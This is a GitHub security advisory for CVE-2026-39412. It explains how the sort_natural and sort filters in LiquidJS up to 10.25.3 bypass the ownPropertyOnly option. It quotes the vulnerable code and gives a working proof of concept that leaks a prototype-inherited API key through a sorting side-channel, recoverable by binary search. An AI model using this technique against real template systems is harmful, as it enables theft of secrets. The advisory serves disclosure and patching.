Skip to content

LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel

Moderate severity GitHub Reviewed Published Apr 8, 2026 in harttle/liquidjs • Updated Apr 9, 2026

Package

npm liquidjs (npm)

Affected versions

<= 10.25.3

Patched versions

10.25.4

Description

Summary

The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
    { users: [probe_z, target, probe_a] }
  );
  console.log('sort_natural order:', r3);
  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();

Result:

Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Impact

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

References

@harttle harttle published to harttle/liquidjs Apr 8, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026
Published by the National Vulnerability Database Apr 8, 2026
Last updated Apr 9, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-39412

GHSA ID

GHSA-rv5g-f82m-qrvv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.